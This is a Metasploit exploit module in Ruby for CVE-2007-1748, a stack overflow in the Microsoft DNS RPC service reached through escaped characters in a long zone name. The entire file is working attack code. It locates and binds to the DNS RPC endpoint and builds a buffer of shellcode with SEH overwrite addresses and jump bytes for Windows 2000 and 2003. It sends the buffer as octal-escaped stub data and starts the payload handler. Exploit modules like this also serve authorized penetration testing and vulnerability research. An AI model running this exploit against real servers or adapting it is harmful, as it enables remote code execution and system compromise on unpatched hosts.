msdns_zonename.rb.txt

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
  
require 'msf/core'  
  
module Msf  
  
class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remote  
  
include Exploit::Remote::DCERPC  
include Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the RPC interface  
of the Microsoft DNS service. The vulnerability is triggered when  
a long zone name is supplied that contains escaped characters. This  
exploit will NOT work on Windows 2003 SP1 or SP2 if hardware DEP is  
enabled.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2007-1748'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},   
'Payload' =>  
{  
'Space' => 1024,  
  
# The payload doesn't matter, but make_nops() uses these too  
'BadChars' => "\x00",  
  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English',  
{   
'Addresses' => # Offsets must not overlap -4 or +9  
[  
[ 1213, 0x75022ac4 ], # Windows 2000 SP0-SP4 ws2help.dll  
[ 1593, 0x7ffc0960 ], # Windows 2003 SP0 ??? (unreliable?)  
[ 1633, 0x76a81a60 ], # Windows 2003 SP1-SP2 atl.dll  
]  
}  
],  
  
# WS2HELP.DLL  
[ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ],  
  
# Unknown, probably unreliable  
[ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ],  
  
# ATL.DLL (no SafeSEH) (still blocked by hardware DEP)  
[ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ],  
  
],  
'DisclosureDate' => 'Apr 12 2007',  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
Opt::RPORT(0)  
], self.class)  
end  
  
def exploit  
  
  
# Ask the endpoint mapper to locate the port for us  
dport = datastore['RPORT'].to_i  
if (dport == 0)  
  
dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')  
  
if (not dport)  
print_status("Could not determine the RPC port used by the Microsoft DNS Server")  
return  
end  
  
print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")  
end  
  
# Connect to the high RPC port  
connect(true, { 'RPORT' => dport })  
print_status("Trying target #{target.name}...")  
  
# Bind to the service  
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
# Create our buffer with our shellcode first  
txt = Rex::Text.rand_text_alphanumeric(8192)  
txt[0, payload.encoded.length] = payload.encoded  
  
# Handle multi-return targets  
if (target['Addresses'])  
target['Addresses'].each do |ent|  
off, ret = ent  
txt[ off ] = [ret].pack('V')  
txt[ off - 4, 2] = "\xeb\x06"  
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')   
end  
# Handle single-return targets  
else  
off = target['Off']  
txt[ off ] = [target.ret].pack('V')  
txt[ off - 4, 2] = "\xeb\x06"  
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')   
end  
  
req = ''  
  
# Convert the string to escaped octal  
txt.unpack('C*').each do |c|  
req << "\\"  
req << c.to_s(8)  
end   
  
# Build the RPC stub data  
stubdata =  
NDR.long(rand(0xffffffff)) +  
NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +  
  
NDR.long(rand(0xffffffff)) +  
NDR.string(req + "\x00") +  
  
NDR.long(rand(0xffffffff)) +  
NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")  
  
print_status('Sending exploit...')  
  
begin  
response = dcerpc.call(1, stubdata)  
  
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)  
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])  
end  
rescue ::Exception => e  
print_status("Error: #{e}")  
end  
  
handler  
disconnect  
end  
  
end  
end   
`